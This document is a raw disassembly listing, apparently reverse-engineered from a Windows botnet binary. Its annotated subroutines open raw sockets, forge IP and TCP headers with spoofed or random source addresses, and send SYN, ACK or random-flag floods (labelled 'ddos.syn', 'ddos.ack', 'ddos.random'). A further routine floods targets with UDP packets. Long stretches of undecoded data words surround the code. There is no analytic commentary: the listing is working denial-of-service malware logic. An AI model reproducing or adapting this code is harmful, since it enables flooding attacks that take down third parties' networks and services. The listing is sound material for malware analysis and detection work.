dd 70458953h, 0FD98858Dh, 6AFFFFh, 992EE850h, 0C4810000h
dd 0A4h, 98858D53h, 6AFFFFFBh, 19E85000h, 83000099h, 45C70CC4h
dd 441ACC7Ch, 0FF106A00h, 44422C15h, 0F0BF0F00h, 8B7C458Bh
dd 0FF57FC78h, 4440A015h, 79E48400h, 0FF146A7Bh, 44422C15h
dd 0C0856600h, 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h
dd 0BD84C710h, 0FFFFF798h, 1, 174E9h, 0FF146A00h, 44422C15h
dd 0C0856600h, 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh
dd 98BD84C7h, 2FFFFF7h, 0E9000000h, 149h, 107DF685h, 98BD84C7h
dd 3FFFFF7h, 0E9000000h, 135h, 98BD84C7h, 4FFFFF7h, 0E9000000h
dd 125h, 98BD848Dh, 8BFFFFF7h, 0FF68530h, 11484h, 208300h
dd 0FD98858Dh, 0E850FFFFh, 9428h, 5908FF83h, 8D8D1075h
dd 0FFFFFD98h, 804C649h, 0EFE900h, 0B93D0000h, 76000001h
dd 0C015FF25h, 6A004440h, 2C4D8D3Ch, 15FF5051h, 4440B0h
dd 502C458Dh, 0FD98858Dh, 6850FFFFh, 435114h, 0FF8341EBh
dd 8C850F0Dh, 8D000000h, 0FFFD9885h, 0D1E850FFh, 85000093h
dd 840F59C0h, 0A5h, 40C015FFh, 3C6A0044h, 512C4D8Dh, 0B015FF50h
dd 8D004440h, 8D502C45h, 0FFFD9885h, 6850FFh, 8D004351h
dd 0FFFB9885h, 7FE850FFh, 81000098h, 84ECh, 59256A00h
dd 0FB98858Dh, 0FC8BFFFFh, 5098758Dh, 0D9E8A5F3h, 53FFFFFCh
dd 8D704589h, 0FFFD9885h, 50006AFFh, 979BE8h, 0A4C48100h
dd 53000000h, 0FB98858Dh, 6AFFFFh, 9786E850h, 0C4830000h
dd 832EEB0Ch, 147401FEh, 7403FE83h, 2FE830Fh, 0FE830574h
dd 0FF1A7504h, 7EB7C75h, 837C458Bh, 8D5007C0h, 0FFFD9885h
dd 35E850FFh, 590000A0h, 7C458359h, 7C7D8114h, 4421FCh
dd 0FE338C0Fh, 7D83FFFFh, 840F0070h, 0FFFFFD9Dh, 0E89C75FFh
dd 0FFFF6289h, 0FF006A59h, 42B06815h
db 0, 0CCh
word_414ECA dw 0B855h ; DATA XREF: sub_40274D+3E38o
dd 102B4h, 8C246C8Dh, 9B47E8h, 7C558B00h, 6A575653h, 0C0335925h
dd 8DF28B40h, 0A5F3C07Dh, 4589106Ah, 9082896Ch, 33000000h
dd 58458DF6h, 0EDE85056h, 83000096h, 66560CC4h, 25845C7h
dd 6015FF00h, 0FF004442h, 8966C075h, 0AAE85A45h, 59FFFED4h
dd 7C15FF50h, 56004441h, 26A036Ah, 0FF5C4589h, 44410015h
dd 83D88B00h, 5D89FFFBh, 0FF547570h, 4441C415h, 858D5000h
dd 0FFFFFDC0h, 43523468h, 4FE85000h, 83000097h, 75390CC4h
dd 561A754Ch, 8D4875FFh, 0FFFDC085h, 458D50FFh, 75FF50C4h
dd 0C2C5E8C0h, 0C483FFFEh, 0C0858D14h, 50FFFFFDh, 2DEBE8h
dd 4475FF00h, 0FF61BCE8h, 2E959FFh, 8B000002h, 0C0694445h
dd 234h, 44F49889h, 106A0044h, 5058458Dh, 0E415FF53h, 83004441h
dd 2975FFF8h, 41C415FFh, 68500044h, 435208h, 0FDC0858Dh
dd 0E850FFFFh, 96DAh, 390CC483h, 850F4C75h, 1A1h, 182E9h
dd 8D565600h, 56505445h, 8D046A56h, 68506C45h, 98000001h
dd 0E015FF53h, 83004441h, 0E75FFF8h, 41C415FFh, 68500044h
dd 4351D8h, 0FFBFB6EBh, 0E90000FFh, 0FCh, 0FDC9BD80h, 0F06FFFEh
dd 0EF85h, 0E1BD8000h, 18FFFEFDh, 0FDCC858Bh, 4589FFFEh
dd 0D9850F68h, 8D000000h, 0FEFDE885h, 51CC68FFh, 0E8500043h
dd 0A048h, 5959C085h, 0BE850Fh, 858D0000h, 0FFFEFDE8h
dd 4351BC68h, 2DE85000h, 850000A0h, 0F5959C0h, 0A385h
dd 2248B800h, 0DB330044h, 507C4589h, 0FDE8858Dh, 0E850FFFEh
dd 0A00Ch, 5959C085h, 83430C75h, 8B187C45h, 0E3757C45h
dd 858D77EBh, 0FFFEFDE8h, 0D4B5FF50h, 0FFFFFEFDh, 44420015h
dd 0C0B70F00h, 6875FF50h, 418815FFh, 8D500044h, 48B5B04h
dd 44225CC5h, 8534FF00h, 442238h, 0FDC0858Dh, 8868FFFFh
dd 68004351h, 200h, 9620E850h, 0C4830000h, 4C75391Ch, 0FF561A75h
dd 858D4875h, 0FFFFFDC0h, 0C4458D50h, 0C075FF50h, 0FEC13EE8h
dd 14C483FFh, 0FDC0858Dh, 0E850FFFFh, 2C64h, 705D8B59h
dd 0C0858D57h, 56FFFEFDh, 94D2E850h, 0C4830000h, 8D57560Ch
dd 0FEFDC085h, 0FF5350FFh, 44406415h, 0FFF88300h, 0FEDA850Fh
dd 15FFFFFFh, 4441C4h, 515C6850h, 858D0043h, 0FFFFFDC0h
dd 20068h, 0A7E85000h, 83000095h, 753910C4h, 561A754Ch
dd 8D4875FFh, 0FFFDC085h, 458D50FFh, 75FF50C4h, 0C0C5E8C0h
dd 0C483FFFEh, 0C0858D14h, 50FFFFFDh, 2BEBE8h, 0FF535900h
dd 44421815h, 4475FF00h, 0FF5FB4E8h, 0FF5659FFh, 42B06815h
dd 8B56CC00h, 68082474h, 4352D8h, 9EE2E856h, 0C0850000h
dd 4745959h, 0C35EC032h, 43C0C868h, 0CDE85600h, 8500009Eh
dd 755959C0h, 52CC68EBh, 0E8560043h, 9EBCh, 5959C085h
dd 0C068DA75h, 56004352h, 9EABE8h, 59C08500h, 68C97559h
dd 4352B8h, 9E9AE856h, 0C0850000h, 4745959h, 0C35E01B0h
dd 4352B068h, 85E85600h, 8500009Eh, 755959C0h, 52A868EBh
dd 0E8560043h, 9E74h, 5959C085h, 0A068DA75h, 56004352h
dd 9E63E8h, 59C08500h, 68C97559h, 435298h, 9E52E856h, 0C0850000h
dd 0B8755959h, 43529068h, 41E85600h, 8500009Eh, 755959C0h
dd 528868A7h, 0E8560043h, 9E30h, 5959C085h, 80689675h
dd 56004352h, 9E1FE8h, 59C08500h, 68857559h, 435278h, 9E0EE856h
dd 0C0850000h, 850F5959h, 0FFFFFF70h, 43526C68h, 0F9E85600h
dd 8500009Dh, 0F5959C0h, 0FFFF5B85h, 526068FFh, 0E8560043h
dd 9DE4h, 0C0855959h, 5EC0950Fh, 748B56C3h, 18680824h
dd 56004353h, 9DCBE8h, 59C08500h, 32047459h, 68C35EC0h
dd 43C0C8h, 9DB6E856h, 0C0850000h, 0EB755959h, 43531068h
dd 0A5E85600h, 8500009Dh, 745959C0h, 5E01B004h, 530868C3h
dd 0E8560043h, 9D90h, 5959C085h, 68EB75h, 56004353h, 9D7FE8h
dd 59C08500h, 68DA7559h, 4352E4h, 9D6EE856h, 59590000h
dd 950FC085h, 56C35EC0h, 824748Bh, 43534468h, 55E85600h
dd 8500009Dh, 745959C0h, 5EC03204h, 0C0C868C3h, 0E8560043h
dd 9D40h, 5959C085h, 868EB75h, 56004353h, 9D2FE8h, 59C08500h
dd 68DA7559h, 43533Ch, 9D1EE856h, 0C0850000h, 4745959h
dd 0C35E01B0h, 43533468h, 9E85600h, 8500009Dh, 755959C0h
dd 532C68EBh, 0E8560043h, 9CF8h, 5959C085h, 2468DA75h
dd 56004353h, 9CE7E8h, 85595900h, 0C0950FC0h, 8B56C35Eh
dd 68082474h, 435384h, 9CCEE856h, 0C0850000h, 4745959h
dd 0C35EC032h, 43C0C868h, 0B9E85600h, 8500009Ch, 755959C0h
dd 537C68EBh, 0E8560043h, 9CA8h, 5959C085h, 1B00474h, 7468C35Eh
dd 56004353h, 9C93E8h, 59C08500h, 68EB7559h, 435368h, 9C82E856h
dd 0C0850000h, 0DA755959h, 43535C68h, 71E85600h, 8500009Ch
dd 755959C0h, 535068C9h, 0E8560043h, 9C60h, 0C0855959h
dd 5EC0950Fh, 748B56C3h, 0C0680824h, 56004353h, 9C47E8h
dd 59C08500h, 32047459h, 68C35EC0h, 43C0C8h, 9C32E856h
dd 0C0850000h, 0EB755959h, 4353B068h, 21E85600h, 8500009Ch
dd 745959C0h, 5E01B004h, 539C68C3h, 0E8560043h, 9C0Ch
dd 5959C085h, 9068EB75h, 56004353h, 9BFBE8h, 85595900h
dd 0C0950FC0h
db 5Eh, 0C3h
word_41549E dw 0B855h ; DATA XREF: sub_40274D+3F80o
dd 113B8h, 8C246C8Dh, 9573E8h, 7C458B00h, 6A575653h, 0F08B5925h
dd 0F3BC7D8Dh, 6AF633A5h, 0B089463Fh, 90h, 3359DB33h, 0BC9D88C0h
dd 8DFFFFFCh, 0FFFCBDBDh, 66ABF3FFh, 0FF68ABh, 858D0000h
dd 0FFFFFCBCh, 45C76650h, 66000254h, 89565D89h, 15FF585Dh
dd 444220h, 0FCBC858Dh, 0FF50FFFFh, 44416815h, 48BF0F00h
dd 0C408B0Ah, 8D30FF51h, 0E8506C45h, 9EE4h, 836C458Bh
dd 6A530CC4h, 89026A03h, 15FF5845h, 444100h, 0FF83F88Bh
dd 647D89FFh, 5E5F0C75h, 835BC033h, 0C2C974C5h, 106A0004h
dd 5054458Dh, 0E415FF57h, 83004441h, 2275FFF8h, 41C415FFh
dd 8D500044h, 0FFFDBC85h, 550868FFh, 0E8500043h, 9136h
dd 390CC483h, 5E75485Dh, 535342EBh, 5050458Dh, 46A5353h
dd 5068458Dh, 168h, 75895798h, 0E015FF68h, 83004441h, 5E75FFF8h
dd 41C415FFh, 8D500044h, 0FFFDBC85h, 54D868FFh, 0E8500043h
dd 90F2h, 390CC483h, 1A75485Dh, 4475FF53h, 0FDBC858Dh
dd 8D50FFFFh, 0FF50C045h, 68E8BC75h, 83FFFEBCh, 858D14C4h
dd 0FFFFFDBCh, 278EE850h, 57590000h, 421815FFh, 75FF0044h
dd 5B57E840h, 5359FFFFh, 0B06815FFh, 0BE0042h, 0BF000002h
dd 0FFFFh, 0BC858D57h, 53FFFEECh, 8FDEE850h, 0C4830000h
dd 8D57530Ch, 0FEECBC85h, 75FF50FFh, 6415FF64h, 80004440h
dd 0FEECC5BDh, 0CF7506FFh, 0ECD0B5FFh, 15FFFFFEh, 42B1D8h
dd 0ECD2B5FFh, 0B70FFFFEh, 0D815FFF8h, 830042B1h, 0B70F6EFFh
dd 7C4589C0h, 0FF83A974h, 83A47419h, 9F746EF8h, 7419F883h
dd 0C8858B9Ah, 50FFFEECh, 4D5270A3h, 0DC15FF00h, 500042B1h
dd 0ECBC858Dh, 4068FFFFh, 500042B6h, 901DE8h, 0CC858B00h
dd 83FFFEECh, 0A3500CC4h, 4D5270h, 0B1DC15FFh, 8D500042h
dd 0FFF4BC85h, 0B64068FFh, 0E8500042h, 8FF6h, 0ECE8858Dh
dd 8950FFFEh, 1E8705Dh, 8300008Bh, 0C08510C4h, 458B2F7Eh
dd 5848D70h, 0FFFEECE8h, 750D3880h, 2000C603h, 750A3880h
dd 2000C603h, 8D7045FFh, 0FEECE885h, 0D1E850FFh, 3900008Ah
dd 7C597045h, 50FF83D1h, 92840Fh, 7D830000h, 840F507Ch
dd 88h, 0ECE8858Dh, 0E850FFFEh, 0FFFFFA8Ah, 8D59C084h
dd 0FEECE885h, 1C7450FFh, 8D7C75FFh, 0FFF4BC85h, 8D5750FFh
dd 0FFECBC85h, 0A46850FFh, 0E9004354h, 83h, 0FFFB74E8h
dd 59C084FFh, 0ECE8858Dh, 7450FFFEh, 7C75FF19h, 0F4BC858Dh
dd 5750FFFFh, 0ECBC858Dh, 6850FFFFh, 435470h, 0C0E859EBh
dd 84FFFFFBh, 207459C0h, 0ECE8858Dh, 0FF50FFFEh, 858D7C75h
dd 0FFFFF4BCh, 858D5750h, 0FFFFECBCh, 543C6850h, 2FEB0043h
dd 0ECE8858Dh, 0E850FFFEh, 0FFFFFC16h, 8D59C084h, 0FEECE885h
dd 4F7450FFh, 8D7C75FFh, 0FFF4BC85h, 8D5750FFh, 0FFECBC85h
dd 46850FFh, 8D004354h, 0FFFDBC85h, 0E85056FFh, 8F32h
dd 3920C483h, 850F485Dh, 0FFFFFE27h, 4475FF53h, 0FDBC858Dh
dd 8D50FFFFh, 0FF50C045h, 4CE8BC75h, 83FFFEBAh, 8E914C4h
dd 0E8FFFFFEh, 0FFFFFC3Dh, 0F59C084h, 0FFFDFA84h, 0E8858DFFh
dd 50FFFEECh, 8D7C75FFh, 0FFF4BC85h, 8D5750FFh, 0FFECBC85h
dd 0CC6850FFh, 0EB004353h
db 9Ah
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=64h
sub_415825 proc near ; CODE XREF: sub_415B7C+40p
var_288 = byte ptr -288h
var_F8 = byte ptr -0F8h
var_B8 = word ptr -0B8h
var_B6 = word ptr -0B6h
var_B4 = dword ptr -0B4h
var_A8 = byte ptr -0A8h
var_A7 = byte ptr -0A7h
var_94 = byte ptr -94h
var_88 = byte ptr -88h
var_80 = byte ptr -80h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
lea ebp, [esp-64h]
sub esp, 288h
push ebx
push edi
push 0Eh
pop ecx
xor eax, eax
xor ebx, ebx
mov [ebp+64h+var_A8], bl
lea edi, [ebp+64h+var_A7]
rep stosd
stosw
stosb
lea eax, [ebp+64h+var_288]
push eax
push 202h
call ds:dword_444110 ; WSAStartup
test eax, eax
jz short loc_415861
xor eax, eax
jmp loc_415B75
; ---------------------------------------------------------------------------
loc_415861: ; CODE XREF: sub_415825+33j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call ds:dword_444074 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+64h+var_18], eax
jz loc_415B6D
push 4
lea ecx, [ebp+64h+var_44]
push ecx
push 2
push ebx
push eax
mov [ebp+64h+var_44], edi
call ds:dword_444120 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_415B64
push esi
push [ebp+64h+arg_C]
mov [ebp+64h+var_B8], 2
call ds:dword_444260 ; htons
mov esi, [ebp+64h+arg_0]
push 28h
mov [ebp+64h+var_B6], ax
mov [ebp+64h+var_B4], esi
mov [ebp+64h+var_2C], 45h
call ds:dword_444260 ; htons
push [ebp+64h+arg_C]
mov [ebp+64h+var_2A], ax
mov [ebp+64h+var_28], di
mov [ebp+64h+var_26], bx
mov [ebp+64h+var_24], 80h
mov [ebp+64h+var_23], 6
mov [ebp+64h+var_22], bx
mov [ebp+64h+var_1C], esi
call ds:dword_444260 ; htons
mov [ebp+64h+var_12], ax
call sub_41ECDE
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call ds:dword_444260 ; htons
push 12345678h
mov [ebp+64h+var_14], ax
call ds:dword_444234 ; htonl
push offset aDdos_syn ; "ddos.syn"
push [ebp+64h+arg_8]
mov [ebp+64h+var_10], eax
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_415931
mov [ebp+64h+var_C], ebx
mov [ebp+64h+var_7], 2
jmp short loc_415985
; ---------------------------------------------------------------------------
loc_415931: ; CODE XREF: sub_415825+101j
push offset aDdos_ack ; "ddos.ack"
push [ebp+64h+arg_8]
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_41594D
mov [ebp+64h+var_C], ebx
mov [ebp+64h+var_7], 10h
jmp short loc_415985
; ---------------------------------------------------------------------------
loc_41594D: ; CODE XREF: sub_415825+11Dj
push offset aDdos_random ; "ddos.random"
push [ebp+64h+arg_8]
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_415985
call sub_41ECDE
cdq
push 3
pop ecx
idiv ecx
mov [ebp+64h+var_C], edx
call sub_41ECDE
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+64h+var_7], dl
loc_415985: ; CODE XREF: sub_415825+10Aj
; sub_415825+126j ...
push 4000h
mov [ebp+64h+var_8], 50h
call ds:dword_444260 ; htons
mov [ebp+64h+var_6], ax
lea eax, [ebp+64h+var_6C]
push eax
mov [ebp+64h+var_2], bx
mov [ebp+64h+var_30], ebx
call ds:dword_42B0DC ; QueryPerformanceFrequency
lea eax, [ebp+64h+var_38]
push eax
call ds:dword_42B0D8 ; QueryPerformanceCounter
push [ebp+64h+var_68]
mov eax, [ebp+64h+arg_10]
push [ebp+64h+var_6C]
cdq
push edx
push eax
call sub_420750
add eax, [ebp+64h+var_38]
mov [ebp+64h+var_4], bx
adc edx, [ebp+64h+var_34]
mov [ebp+64h+var_40], eax
mov [ebp+64h+var_3C], edx
call sub_41ECDE
cdq
mov ecx, 3E9h
idiv ecx
mov edi, 3E8h
add edx, edi
push edx
call ds:dword_444260 ; htons
mov [ebp+64h+var_14], ax
call sub_41ECDE
call sub_41ECDE
push eax
call ds:dword_444260 ; htons
push [ebp+64h+arg_4]
movzx eax, ax
mov [ebp+64h+var_10], eax
call ds:dword_444234 ; htonl
push 14h
pop esi
jmp short loc_415A7D
; ---------------------------------------------------------------------------
loc_415A18: ; CODE XREF: sub_415825+30Cj
add [ebp+64h+var_30], eax
lea eax, [ebp+64h+var_38]
push eax
call ds:dword_42B0D8 ; QueryPerformanceCounter
mov eax, [ebp+64h+var_34]
cmp eax, [ebp+64h+var_3C]
jg loc_415B60
jl short loc_415A3F
mov eax, [ebp+64h+var_38]
cmp eax, [ebp+64h+var_40]
jnb loc_415B60
loc_415A3F: ; CODE XREF: sub_415825+20Cj
mov [ebp+64h+var_4], bx
call sub_41ECDE
cdq
mov ecx, 3E9h
idiv ecx
add edx, edi
push edx
call ds:dword_444260 ; htons
mov [ebp+64h+var_14], ax
call sub_41ECDE
call sub_41ECDE
push eax
call ds:dword_444260 ; htons
push [ebp+64h+arg_4]
movzx eax, ax
mov [ebp+64h+var_10], eax
call ds:dword_444234 ; htonl
loc_415A7D: ; CODE XREF: sub_415825+1F1j
inc [ebp+64h+arg_4]
mov [ebp+64h+var_20], eax
mov eax, [ebp+64h+var_1C]
push esi
mov [ebp+64h+var_60], eax
mov [ebp+64h+var_5C], bl
mov [ebp+64h+var_5B], 6
call ds:dword_444260 ; htons
mov [ebp+64h+var_5A], ax
mov eax, [ebp+64h+var_20]
mov [ebp+64h+var_64], eax
lea eax, [ebp+64h+var_64]
push 20h
push eax
lea eax, [ebp+64h+var_A8]
push eax
call sub_41F400
lea eax, [ebp+64h+var_14]
push esi
push eax
lea eax, [ebp+64h+var_88]
push eax
call sub_41F400
lea eax, [ebp+64h+var_A8]
push 34h
push eax
call sub_402422
mov [ebp+64h+var_4], ax
lea eax, [ebp+64h+var_2C]
push esi
push eax
lea eax, [ebp+64h+var_A8]
push eax
call sub_41F400
lea eax, [ebp+64h+var_14]
push esi
push eax
lea eax, [ebp+64h+var_94]
push eax
call sub_41F400
push 4
lea eax, [ebp+64h+var_80]
push ebx
push eax
call sub_41E5F0
add esp, 44h
lea eax, [ebp+64h+var_A8]
push 28h
push eax
call sub_402422
mov [ebp+64h+var_22], ax
lea eax, [ebp+64h+var_2C]
push esi
push eax
lea eax, [ebp+64h+var_A8]
push eax
call sub_41F400
add esp, 14h
push 10h
lea eax, [ebp+64h+var_B8]
push eax
push ebx
push 28h
lea eax, [ebp+64h+var_A8]
push eax
push [ebp+64h+var_18]
call ds:dword_4440CC ; sendto
cmp eax, 0FFFFFFFFh
jnz loc_415A18
call ds:dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp+64h+var_F8]
push offset dword_435534
push eax
call sub_41E6A6
lea eax, [ebp+64h+var_F8]
push eax
call sub_417D70
add esp, 10h
jmp short loc_415B63
; ---------------------------------------------------------------------------
loc_415B60: ; CODE XREF: sub_415825+206j
; sub_415825+214j
mov ebx, [ebp+64h+var_30]
loc_415B63: ; CODE XREF: sub_415825+339j
pop esi
loc_415B64: ; CODE XREF: sub_415825+73j
push [ebp+64h+var_18]
call ds:dword_444218 ; closesocket
loc_415B6D: ; CODE XREF: sub_415825+57j
call ds:dword_444224 ; WSACleanup
mov eax, ebx
loc_415B75: ; CODE XREF: sub_415825+37j
pop edi
pop ebx
add ebp, 64h
leave
retn
sub_415825 endp
; =============== S U B R O U T I N E =======================================
sub_415B7C proc near ; CODE XREF: seg000:00415C27p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_4022BD
push [esp+10h+arg_4]
mov esi, eax
call sub_41E7AD
push [esp+14h+arg_C]
mov ebx, eax
call sub_41E7AD
mov edi, eax
call sub_41ECDE
cdq
mov ecx, 200h
idiv ecx
push edi
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_415825
add esp, 20h
test eax, eax
jnz short loc_415BC9
inc eax
loc_415BC9: ; CODE XREF: sub_415B7C+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_415B7C endp
; ---------------------------------------------------------------------------
loc_415BD8: ; DATA XREF: sub_40274D+6235o
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+8]
push esi
push edi
mov esi, eax
mov ecx, 0A5h
lea edi, [ebp-294h]
rep movsd
mov dword ptr [eax+290h], 1
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
lea eax, [ebp-18Ch]
push eax
lea eax, [ebp-8Ch]
push eax
lea eax, [ebp-20Ch]
push eax
lea eax, [ebp-28Ch]
push eax
call sub_415B7C
push eax
lea eax, [ebp-494h]
push offset unk_435550
push eax
call sub_41E6A6
xor esi, esi
add esp, 20h
cmp [ebp-8], esi
jnz short loc_415C68
push esi
push dword ptr [ebp-0Ch]
lea eax, [ebp-494h]
push eax
lea eax, [ebp-10Ch]
push eax
push dword ptr [ebp-294h]
call sub_40123B
add esp, 14h
loc_415C68: ; CODE XREF: seg000:00415C46j
lea eax, [ebp-494h]
push eax
call sub_417D70
push dword ptr [ebp-290h]
call sub_40B149
pop ecx
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
loc_415C89: ; DATA XREF: sub_40274D+642Do
push ebp
lea ebp, [esp-74h]
sub esp, 3BCh
mov eax, [ebp+7Ch]
push ebx
push esi
push edi
push 68h
pop ecx
push 0FFh
mov esi, eax
xor ebx, ebx
push 3
lea edi, [ebp-148h]
rep movsd
inc ebx
push 2
mov [eax+19Ch], ebx
call ds:dword_444100 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+70h], eax
jnz short loc_415CF2
call ds:dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp-348h]
push offset dword_43565C
push eax
call sub_41E6A6
add esp, 0Ch
xor edi, edi
loc_415CE4: ; CODE XREF: seg000:00415D27j
; seg000:00415D4Ej ...
cmp [ebp+50h], edi
jnz loc_415F2D
jmp loc_415F10
; ---------------------------------------------------------------------------
loc_415CF2: ; CODE XREF: seg000:00415CC5j
push 4
lea ecx, [ebp+68h]
push ecx
push 2
xor edi, edi
push edi
push eax
mov [ebp+68h], ebx
call ds:dword_444120 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_415D29
call ds:dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp-348h]
push offset unk_43562C
push eax
call sub_41E6A6
add esp, 0Ch
jmp short loc_415CE4
; ---------------------------------------------------------------------------
loc_415D29: ; CODE XREF: seg000:00415D0Aj
lea eax, [ebp-144h]
push eax
call ds:dword_44417C ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_415D50
lea eax, [ebp-348h]
push offset unk_43560C
push eax
call sub_41E6A6
pop ecx
pop ecx
jmp short loc_415CE4
; ---------------------------------------------------------------------------
loc_415D50: ; CODE XREF: seg000:00415D39j
push 10h
lea eax, [ebp+58h]
push edi
push eax
call sub_41E5F0
add esp, 0Ch
push edi
mov word ptr [ebp+58h], 2
call ds:dword_444260 ; htons
mov [ebp+5Ah], ax
lea eax, [ebp-144h]
push eax
call ds:dword_44417C ; inet_addr
mov esi, ds:dword_42B038
mov [ebp+5Ch], eax
mov [ebp+7Ch], edi
call esi ; GetTickCount
mov [ebp+6Ch], eax
jmp loc_415EB1
; ---------------------------------------------------------------------------
loc_415D93: ; CODE XREF: seg000:00415EC2j
push 41Ch
mov ds:byte_4D5278, 45h
call ds:dword_444260 ; htons
cmp [ebp+48h], edi
mov ds:word_4D527A, ax
mov ds:word_4D527C, bx
mov ds:word_4D527E, di
mov ds:byte_4D5280, 80h
mov ds:byte_4D5281, bl
mov ds:word_4D5282, di
jz short loc_415E02
call sub_41ECDE
mov ebx, eax
shl ebx, 8
call sub_41ECDE
add ebx, eax
shl ebx, 8
call sub_41ECDE
add ebx, eax
shl ebx, 8
call sub_41ECDE
add ebx, eax
mov ds:dword_4D5284, ebx
xor ebx, ebx
inc ebx
jmp short loc_415E1A
; ---------------------------------------------------------------------------
loc_415E02: ; CODE XREF: seg000:00415DD0j
push dword ptr [ebp-148h]
call sub_4023C9
pop ecx
push eax
call ds:dword_44417C ; inet_addr
mov ds:dword_4D5284, eax
loc_415E1A: ; CODE XREF: seg000:00415E00j
mov eax, [ebp+5Ch]
mov ds:dword_4D5288, eax
call sub_41ECDE
cdq
mov ecx, 100h
idiv ecx
mov ds:byte_4D528C, dl
call sub_41ECDE
cdq
mov ecx, 100h
idiv ecx
mov ds:byte_4D528D, dl
call sub_41ECDE
cdq
mov ecx, 0F0h
idiv ecx
push 400h
mov ds:word_4D528E, di
mov ds:word_4D5292, bx
inc edx
mov ds:word_4D5290, dx
call sub_41ECDE
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_4D5294
call sub_41E5F0
add esp, 0Ch
push 10h
lea eax, [ebp+58h]
push eax
push edi
push 41Ch
push offset byte_4D5278
push dword ptr [ebp+70h]
call ds:dword_4440CC ; sendto
cmp eax, 0FFFFFFFFh
jz loc_415F4A
inc dword ptr [ebp+7Ch]
loc_415EB1: ; CODE XREF: seg000:00415D8Ej
call esi ; GetTickCount
sub eax, [ebp+6Ch]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+44h]
jbe loc_415D93
push dword ptr [ebp+70h]
call ds:dword_444218 ; closesocket
mov eax, [ebp+7Ch]
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
xor edx, edx
div dword ptr [ebp+44h]
shr ecx, 14h
push ecx
push eax
push dword ptr [ebp+7Ch]
lea eax, [ebp-144h]
push eax
lea eax, [ebp-0C4h]
push eax
lea eax, [ebp-348h]
push offset unk_4355C0
push eax
call sub_41E6A6
add esp, 1Ch
cmp [ebp+50h], edi
jnz short loc_415F2D
loc_415F10: ; CODE XREF: seg000:00415CEDj
push edi
push dword ptr [ebp+4Ch]
lea eax, [ebp-348h]
push eax
lea eax, [ebp-44h]
push eax
push dword ptr [ebp-148h]
call sub_40123B
add esp, 14h
loc_415F2D: ; CODE XREF: seg000:00415CE7j
; seg000:00415F0Ej
lea eax, [ebp-348h]
push eax
call sub_417D70
push dword ptr [ebp+3Ch]
call sub_40B149
pop ecx
pop ecx
push edi
call ds:dword_42B068 ; ExitThread
loc_415F4A: ; CODE XREF: seg000:00415EA8j
push dword ptr [ebp+70h]
call ds:dword_444218 ; closesocket
call ds:dword_4441C4 ; WSAGetLastError
push eax
push dword ptr [ebp+7Ch]
lea eax, [ebp-144h]
push eax
push offset unk_435578
lea eax, [ebp-348h]
push 200h
push eax
call sub_41E6FE
add esp, 18h
jmp loc_415CE4
; ---------------------------------------------------------------------------
word_415F82 dw 0B855h ; DATA XREF: sub_40274D+524Eo
dd 10320h, 8C246C8Dh, 8A8FE8h, 7C458B00h, 6A575653h, 0F08B5949h
dd 0FF30BD8Dh, 0A5F3FFFFh, 8947FF33h, 120B8h, 5815FF00h
dd 89004441h, 458D7C45h, 15FF50B4h, 44417Ch, 0DB33F08Bh
dd 0FE83C033h, 8D0E75FFh, 0FF50B445h, 44416815h, 74C33B00h
dd 7C7D8306h, 8D5975FFh, 8D50B445h, 0FFFD3085h, 56B468FFh
dd 0E8500043h, 86B2h, 390CC483h, 20754C5Dh, 4875FF53h
dd 0FD30858Dh, 8D50FFFFh, 0FFFF3485h, 0B5FF50FFh, 0FFFFFF30h
dd 0FEB222E8h, 14C483FFh, 0FD30858Dh, 0E850FFFFh, 1D48h
dd 0E84475FFh, 0FFFF5119h, 0E9575959h, 0C5h, 0C74C33Bh
dd 8B0C408Bh, 89008B00h, 3EB7045h, 6A707589h, 54458D1Ch
